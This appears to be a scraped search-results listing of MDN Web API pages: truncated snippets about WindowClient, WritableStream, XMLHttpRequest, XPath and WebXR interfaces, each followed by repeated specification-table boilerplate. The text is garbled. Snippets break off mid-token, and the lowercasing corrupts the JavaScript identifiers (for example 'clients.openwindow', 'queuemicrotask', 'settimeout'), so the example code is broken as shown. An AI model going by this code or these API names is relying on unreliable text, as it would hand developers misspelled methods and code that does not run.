chall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'focus()' in that specification.
... working draft initial definition.
WindowClient.focused - Web APIs
ntlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient: focused' in that specification.
... working draft initial definition ...
WindowClient.navigate() - Web APIs
specifications specification status comment service workersthe definition of 'navigate()' in that specification.
... working draft initial definition.
WindowClient.visibilityState - Web APIs
i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service workersthe definition of 'visibilitystate' in that specification.
... working draft initial definition.
WindowClient - Web APIs
"window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient' in that specification.
... working draft initial definition ...
WindowEventHandlers.onlanguagechange - Web APIs
example window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specifications specification status comment html living standardthe definition of 'windoweventhandler.onlanguagechange' in that specification.
... living standard initial specification.
WindowEventHandlers.onmessage - Web APIs
} specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
... living standard initial definition.
WindowEventHandlers.onrejectionhandled - Web APIs
}); window.onrejectionhandled = function(event) { ...}; example window.onrejectionhandled = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onrejectionhandled' in that specification.
... living standard initial definition.
WindowEventHandlers.onunhandledrejection - Web APIs
window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification.
... living standard initial definition.
WindowOrWorkerGlobalScope.caches - Web APIs
test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'caches' in that specification.
... service workers working draft initial definition.
WindowOrWorkerGlobalScope.clearInterval() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.clearinterval()' in that specification.
... html living standardthe definition of 'clearinterval()' in that specification.
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.cleartimeout()' in that specification.
... html living standardthe definition of 'cleartimeout()' in that specification.
WindowOrWorkerGlobalScope.crossOriginIsolated - Web APIs
syntax var mycrossoriginisolated = self.crossoriginisolated; // or just crossoriginisolated value a boolean value examples if(crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification status comment html living standardthe definition of 'crossoriginisolated' in that specification.
... living standard initial definition.
WindowOrWorkerGlobalScope.isSecureContext - Web APIs
specifications specification status comment secure contextsthe definition of 'windoworworkerglobalscope.issecurecontext' in that specification.
... candidate recommendation initial definition.
WindowOrWorkerGlobalScope.origin - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.origin' in that specification.
... living standard initial definition.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
if (typeof window.queuemicrotask !== "function") { window.queuemicrotask = function (callback) { promise.resolve() .then(callback) .catch(e => settimeout(() => { throw e; })); // report exceptions }; } specifications specification status comment html living standardthe definition of 'self.queuemicrotask()' in that specification.
... living standard initial definition ...
WindowProxy - Web APIs
specifications specification status comment html living standardthe definition of 'windowproxy' in that specification.
... living standard initial definition.
WorkerGlobalScope.self - Web APIs
example if you called console.log(self); inside a worker, you will get a worker global scope of the same type as that worker object written to the console — something like the following: dedicatedworkerglobalscope { undefined: undefined, infinity: infinity, math: mathconstructor, nan: nan, intl: object…} infinity: infinity array: function array() { [native code] } arguments: null caller: null isarray: function isarray() { [native code] } length: 1 name: "array" observe: function observe() { [native code] } prototype: array[0] unobserve: function unobserve() { [native code] } ...
... specifications specification status comment html living standardthe definition of 'self' in that specification.
WorkerNavigator.locks - Web APIs
specifications specification status comment web locks apithe definition of 'locks' in that specification.
... draft initial definition.
WorkerNavigator - Web APIs
such an object is initialized for each worker and is available via the workerglobalscope.navigator property obtained by calling window.self.navigator.
... specifications specification status comment html living standardthe definition of 'workernavigator' in that specification.
WritableStream.WritableStream() - Web APIs
specifications specification status comment streamsthe definition of 'writablestream()' in that specification.
... living standard initial definition.
WritableStream.abort() - Web APIs
// abort the stream later on, when required writablestream.abort(); specifications specification status comment streamsthe definition of 'abort()' in that specification.
... living standard initial definition.
WritableStream.getWriter() - Web APIs
specifications specification status comment streamsthe definition of 'getwriter()' in that specification.
... living standard initial definition.
WritableStream.locked - Web APIs
const writer = writablestream.getwriter(); writablestream.locked // should return true, as the stream has been locked to a writer specifications specification status comment streamsthe definition of 'locked' in that specification.
... living standard initial definition.
WritableStream - Web APIs
specifications specification status comment streamsthe definition of 'writablestream' in that specification.
... living standard initial definition.
WritableStreamDefaultController.error() - Web APIs
} }); specifications specification status comment streamsthe definition of 'error()' in that specification.
... living standard initial definition.
WritableStreamDefaultController - Web APIs
} }); specifications specification status comment streamsthe definition of 'writablestreamdefaultcontroller' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
specifications specification status comment streamsthe definition of 'writablestreamdefaultwriter()' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.abort() - Web APIs
// abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment streamsthe definition of 'abort()' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.close() - Web APIs
specifications specification status comment streamsthe definition of 'close()' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.closed - Web APIs
// check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.desiredSize - Web APIs
// return stream's desired size let size = writer.desiredsize; specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.ready - Web APIs
defaultwriter.ready .then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter.releaseLock() - Web APIs
// release writer's lock on the stream when desired writer.releaselock(); specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
... living standard initial definition.
WritableStreamDefaultWriter - Web APIs
specifications specification status comment streamsthe definition of 'writablestreamdefaultwriter' in that specification.
... living standard initial definition.
Sending and Receiving Binary Data - Web APIs
line 5 uses the sendasbinary() method to initiate the request.
...var stream = components.classes["@mozilla.org/network/file-input-stream;1"] .createinstance(components.interfaces.nsifileinputstream); stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsifile instance // try to determine the mime type of the file var mimetype = "text\/plain"; try { var mimeservice = components.classes["@mozilla.org/mime;1"] .getservice(components.interfaces.nsimimeservice); mimetype = mimeservice.gettypefromfile(file); // file is an nsifile instance } catch (oevent) { /* eat it; just use text/plain *...
Synchronous and asynchronous requests - Web APIs
line 15 actually initiates the request.
... line 16 actually initiates the request.
XMLHttpRequest.open() - Web APIs
the xmlhttprequest method open() initializes a newly-created request, or re-initializes an existing one.
... specifications specification status comment xmlhttprequestthe definition of 'open()' in that specification.
XMLHttpRequest.openRequest() - Web APIs
this mozilla-specific method is available only from within privileged code, and is only called from a c++ context in order to initialize an xmlhttprequest.
... to initialize a request from javascript code, use the standard open() method instead.
XMLHttpRequest.readyState - Web APIs
during this state, the request headers can be set using the setrequestheader() method and the send() method can be called which will initiate the fetch.
...instead of unsent, opened, headers_received, loading and done, the names readystate_uninitialized (0), readystate_loading (1), readystate_loaded (2), readystate_interactive (3) and readystate_complete (4) are used.
XMLHttpRequest.send() - Web APIs
an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object.
... } } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestthe definition of 'send()' in that specification.
XPathEvaluator.createExpression() - Web APIs
= "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.createexpression()' in that specification.
... recommendation initial definition ...
XPathEvaluator.evaluate() - Web APIs
lt;div&gt;s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification.
... recommendation initial definition ...
XPathEvaluator - Web APIs
= "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator' in that specification.
... recommendation initial definition ...
XPathException.code - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexception' in that specification.
... recommendation initial definition ...
XPathException - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexception' in that specification.
... recommendation initial definition ...
XPathExpression.evaluate() - Web APIs
= "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression.evaluate()' in that specification.
... recommendation initial definition ...
XPathExpression - Web APIs
h = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression' in that specification.
... recommendation initial definition ...
XPathNSResolver.lookupNamespaceURI() - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver.lookupnamespaceuri()' in that specification.
... recommendation initial definition ...
XPathNSResolver - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver' in that specification.
... recommendation initial definition ...
XPathResult.booleanValue - Web APIs
is 'xpath example': <output></output></p> javascript var xpath = "//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").textcontent = result.booleanvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specification.
... recommendation initial definition ...
XPathResult.invalidIteratorState - Web APIs
"invalid" : "valid"; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.invaliditeratorstate' in that specification.
... recommendation initial definition ...
XPathResult.iterateNext() - Web APIs
r result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.iteratenext()' in that specification.
... recommendation initial definition ...
XPathResult.numberValue - Web APIs
le</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").textcontent = result.numbervalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification.
... recommendation initial definition ...
XPathResult.resultType - Web APIs
var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); document.queryselector("output").textcontent = result.resulttype >= xpathresult.unordered_node_iterator_type && result.resulttype <= xpathresult.first_ordered_node_type; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.resulttype' in that specification.
... recommendation initial definition ...
XPathResult.singleNodeValue - Web APIs
tput></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").textcontent = result.singlenodevalue.localname; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.singlenodevalue' in that specification.
... recommendation initial definition ...
XPathResult.snapshotItem() - Web APIs
ered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotitem()' in that specification.
... recommendation initial definition ...
XPathResult.snapshotLength - Web APIs
v>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification.
... recommendation initial definition ...
XPathResult.stringValue - Web APIs
ext content of the &lt;div&gt; above: <output></output></div> javascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").textcontent = result.stringvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.stringvalue' in that specification.
... recommendation initial definition ...
XPathResult - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult' in that specification.
... recommendation initial definition ...
XRBoundedReferenceSpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrboundedreferencespace' in that specification.
... working draft initial definition.
XREnvironmentBlendMode - Web APIs
specifications specification status comment webxr augmented reality modulethe definition of 'xrenvironmentblendmode' in that specification.
... editor's draft initial definition.
XREye - Web APIs
WebAPIXREye
specifications specification status comment webxr device apithe definition of 'xreye' in that specification.
... working draft initial definition.
XRFrame.getPose() - Web APIs
WebAPIXRFramegetPose
specifications specification status comment webxr device apithe definition of 'xrframe.getpose()' in that specification.
... working draft initial definition.
XRFrame.getViewerPose() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrframe.getviewerpose()' in that specification.
... working draft initial definition.
XRFrame.session - Web APIs
WebAPIXRFramesession
specifications specification status comment webxr device apithe definition of 'xrframe.session' in that specification.
... working draft initial definition.
XRFrame - Web APIs
WebAPIXRFrame
specifications specification status comment webxr device apithe definition of 'xrframe' in that specification.
... working draft initial definition.
XRFrameRequestCallback - Web APIs
specifications specification status comment webxr device apithe definition of 'xrframerequestcallback' in that specification.
... working draft initial definition.
XRHandedness - Web APIs
specifications specification status comment webxr device apithe definition of 'xrhandedness' in that specification.
... working draft initial definition.
XRInputSource.gripSpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.gripspace' in that specification.
... working draft initial definition.
XRInputSource.handedness - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.handedness' in that specification.
... working draft initial definition.
XRInputSource.profiles - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.profiles' in that specification.
... working draft initial definition.
XRInputSource.targetRayMode - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.handedness' in that specification.
... working draft initial definition.
XRInputSource.targetRaySpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource.targetrayspace' in that specification.
... working draft initial definition.
XRInputSource - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsource' in that specification.
... working draft initial definition.
XRInputSourceArray.length - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray.length' in that specification.
... working draft initial definition.
XRInputSourceArray - Web APIs
let sources = xrsession.inputsources; if (sources.length > 0) { handleinput(sources[0]); } examples specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.
... working draft initial definition.
XRInputSourceEvent.frame - Web APIs
xrsession.onselectstart = event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { checkandhandlehit(targetraypose.transform); } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.frame' in that specification.
... working draft initial definition.
XRInputSourceEvent.inputSource - Web APIs
xrsession.onselect = event => { let source = event.inputsource; if (source.targetraymode == "gaze") { /* handle selection using a gaze input */ } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.inputsource' in that specification.
... working draft initial definition.
XRInputSourcesChangeEvent.added - Web APIs
.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.added' in that specification.
... working draft initial definition.
XRInputSourcesChangeEvent.removed - Web APIs
.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
... working draft initial definition.
XRInputSourcesChangeEvent.session - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.session' in that specification.
... working draft initial definition.
XRPermissionDescriptor.mode - Web APIs
ondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment webxr device apithe definition of 'xrpermissiondescriptor.mode' in that specification.
... working draft initial definition.
XRPermissionDescriptor.optionalFeatures - Web APIs
ondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment webxr device apithe definition of 'xrpermissiondescriptor.optionalfeatures' in that specification.
... working draft initial definition.
XRPermissionDescriptor.requiredFeatures - Web APIs
ondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment webxr device apithe definition of 'xrpermissiondescriptor.requiredfeatures' in that specification.
... working draft initial definition.
XRPermissionStatus.granted - Web APIs
xrreferencespace usage notes examples specifications specification status comment webxr device apithe definition of 'xrpermissionstatus.granted' in that specification.
... working draft initial definition.
XRPermissionStatus - Web APIs
usage notes examples specifications specification status comment webxr device apithe definition of 'xrpermissionstatus' in that specification.
... working draft initial definition.
XRPose.emulatedPosition - Web APIs
specifications specification status comment webxr device apithe definition of 'xrpose.emulatedposition' in that specification.
... working draft initial definition.
XRPose.transform - Web APIs
WebAPIXRPosetransform
ource.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandaction(); } } }); specifications specification status comment webxr device apithe definition of 'xrpose.transform' in that specification.
... working draft initial definition.
XRPose - Web APIs
WebAPIXRPose
example <<<--- todo: needs example --->>> specifications specification status comment webxr device apithe definition of 'xrpose' in that specification.
... working draft initial definition.
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
specifications specification status comment webxr device apithe definition of 'getoffsetreferencespace()' in that specification.
... working draft initial definition.
XRReferenceSpace.onreset - Web APIs
specifications specification status comment webxr device apithe definition of 'onreset' in that specification.
... working draft initial definition.
XRReferenceSpace - Web APIs
specifications specification status comment webxr device apithe definition of 'xrreferencespace' in that specification.
... working draft initial definition.
XRReferenceSpaceEvent.referenceSpace - Web APIs
examples specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.referencespace' in that specification.
... working draft initial definition.
XRReferenceSpaceEvent.transform - Web APIs
xrreferencespace.addeventlistener("reset", event => { for (let obj of scene.objects) { mat4.multiply(obj.transform, obj.transform, event.transform); } }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent.transform' in that specification.
... working draft initial definition.
XRReferenceSpaceType - Web APIs
xrreferencespace specifications specification status comment webxr device apithe definition of 'xrreferencespacetype' in that specification.
... working draft initial definition.
XRRenderState.inlineVerticalFieldOfView - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
... unknown initial definition.
XRRenderState.baseLayer - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrenderstate.baselayer' in that specification.
... working draft initial definition.
XRRenderState.depthFar - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.depthfar' in that specification.
... unknown initial definition.
XRRenderState.depthNear - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.depthnear' in that specification.
... unknown initial definition.
XRRenderState.inlineVerticalFieldOfView - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrenderstate.inlineverticalfieldofview' in that specification.
... working draft initial definition.
XRRenderState - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrenderstate' in that specification.
... working draft initial definition.
XRRigidTransform.inverse - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrigidtransform.inverse' in that specification.
... working draft initial definition.
XRRigidTransform.matrix - Web APIs
let transform = new xrrigidtransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawglobject("magic-lamp", transform.matrix); specifications specification status comment webxr device apithe definition of 'xrrigidtransform.matrix' in that specification.
... working draft initial definition.
XRRigidTransform.orientation - Web APIs
specifications specification status comment webxr device apithe definition of 'xrrigidtransform.orientation' in that specification.
... working draft initial definition.
XRRigidTransform - Web APIs
xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification.
... working draft initial definition.
XRSession.cancelAnimationFrame() - Web APIs
.requestsession("immersive-vr"); if (xrsession) { stopbutton.onclick = stopxr; requesthandle = xrsession.requestanimationframe(framecallback); } } function pausexr() { if (xrsession && requesthandle) { xrsession.cancelanimationframe(requesthandle); requesthandle = null; } } specifications specification status comment webxr device apithe definition of 'xrsession.cancelanimationframe' in that specification.
... working draft initial definition.
XRSession.end() - Web APIs
WebAPIXRSessionend
example specifications specification status comment webxr device apithe definition of 'xrsession.end' in that specification.
... working draft initial definition.
XRSession: end event - Web APIs
entlistener(), like this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apithe definition of 'end event' in that specification.
... working draft initial definition.
XRSession.environmentBlendMode - Web APIs
specifications specification status comment webxr augmented reality modulethe definition of 'xrsession.environmentblendmode' in that specification.
... working draft initial definition.
XRSession.inputSources - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.inputsources' in that specification.
... working draft initial definition.
XRSession: inputsourceschange event - Web APIs
examples specifications specification status comment webxr device apithe definition of 'inputsourceschange event' in that specification.
... working draft initial definition.
XRSession.onend - Web APIs
WebAPIXRSessiononend
}; example xrsession.onend = function(event) { console.log("the xr session has ended") } specifications specification status comment webxr device apithe definition of 'xrsession.onend' in that specification.
... working draft initial definition.
XRSession.oninputsourceschange - Web APIs
} example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsourceschange' in that specification.
... working draft initial definition.
XRSession.onselect - Web APIs
rce = event.inputsource; if (source.handedness == user.handedness) { if (source.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(source.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose); } } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onselect' in that specification.
... working draft initial definition.
XRSession.onselectend - Web APIs
} example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectend' in that specification.
... working draft initial definition.
XRSession.onselectstart - Web APIs
} example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectstart' in that specification.
... working draft initial definition.
XRSession.onsqueeze - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.onsqueeze' in that specification.
... working draft initial definition.
XRSession.onsqueezeend - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezeend' in that specification.
... working draft initial definition.
XRSession.onsqueezestart - Web APIs
xrsession.onsqueezestart = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (targetraypose) { user.heldobject = findobjectusingray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezestart' in that specification.
... working draft initial definition.
XRSession.onvisibilitychange - Web APIs
} example xrsession.onvisibilitychange = function(event) { console.log("the visibility the xr session changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibilitychange' in that specification.
... working draft initial definition.
XRSession.renderState - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.renderstate' in that specification.
... working draft initial definition.
XRSession.requestAnimationFrame() - Web APIs
xrsession.requestanimationframe(onxranimationframe) }) } function onxrsessionended() { xrsession = null } specifications specification status comment webxr device apithe definition of 'xrsession.requestanimationframe' in that specification.
... working draft initial definition.
XRSession.requestReferenceSpace() - Web APIs
specifications specification status comment webxr device apithe definition of 'requestreferencespace()' in that specification.
... working draft initial definition.
XRSession: select event - Web APIs
ssion.onselect = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'select event' in that specification.
... working draft initial definition.
XRSession: selectend event - Web APIs
} } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr device apithe definition of 'selectend event' in that specification.
... working draft initial definition.
XRSession: selectstart event - Web APIs
} } you can of course also set up a handler for selectend events by setting the xrsession object's onselectend event handler property to a function that handles the event: xrsession.onselectstart = onselectionevent; xrsession.onselect = onselectionevent; xrsession.onselectend = onselectionevent; specifications specification status comment webxr device apithe definition of 'selectstart event' in that specification.
... working draft initial definition.
XRSession: squeeze event - Web APIs
ion.onsqueeze = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'squeeze event' in that specification.
... working draft initial definition.
XRSession: squeezeend event - Web APIs
break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr device apithe definition of 'squeezeend event' in that specification.
... working draft initial definition.
XRSession: squeezestart event - Web APIs
break; } } you can of course also set up a handler these events by setting the xrsession object's onsqueezeend event handler property to a function that handles the event: xrsession.onsqueezestart = onsqueezeevent; xrsession.onsqueeze = onsqueezeevent; xrsession.onsqueezeend = onsqueezeevent; specifications specification status comment webxr device apithe definition of 'squeezestart event' in that specification.
... working draft initial definition.
XRSession.visibilityState - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsession.visibilitystate' in that specification.
... working draft initial definition.
XRSession: visibilitychange event - Web APIs
you can also create the event handler by assigning it to the xrsession's onvisibilitychange event handler property, like this: xrsession.onvisibilitychange = (e) => { /* event handled here */ }; specifications specification status comment webxr device apithe definition of 'visibilitychange event' in that specification.
... working draft initial definition.
XRSessionEvent.session - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsessionevent.session' in that specification.
... working draft initial definition.
XRSpace - Web APIs
WebAPIXRSpace
specifications specification status comment webxr device apithe definition of 'xrspace' in that specification.
... working draft initial definition.
XRSystem: devicechange event - Web APIs
*/ }; } specifications specification status comment webxr device apithe definition of 'devicechange event' in that specification.
... working draft initial definition.
XRSystem: isSessionSupported() - Web APIs
xrsession.end(); } } specifications specification status comment webxr device apithe definition of 'issessionsupported()' in that specification.
... working draft initial definition.
XRSystem: ondevicechange - Web APIs
}; value undefined example navigator.xr.ondevicechange = function(ev) { console.log("the availability of immersive xr devices has changed.") }; specifications specification status comment webxr device apithe definition of 'ondevicechange ' in that specification.
... working draft initial definition.
XRSystem - Web APIs
WebAPIXRSystem
specifications specification status comment webxr device apithe definition of 'xr' in that specification.
... working draft initial definition.
XRTargetRayMode - Web APIs
specifications specification status comment webxr device apithe definition of 'xrtargetraymode' in that specification.
... working draft initial definition.
XRView.eye - Web APIs
WebAPIXRVieweye
specifications specification status comment webxr device apithe definition of 'xrview.eye' in that specification.
... working draft initial definition.
XRView.projectionMatrix - Web APIs
examples specifications specification status comment webxr device apithe definition of 'xrview.projectionmatrix' in that specification.
... working draft initial definition.
XRView.transform - Web APIs
WebAPIXRViewtransform
<<<--- finish and add link --->>> specifications specification status comment webxr device apithe definition of 'xrview.transform' in that specification.
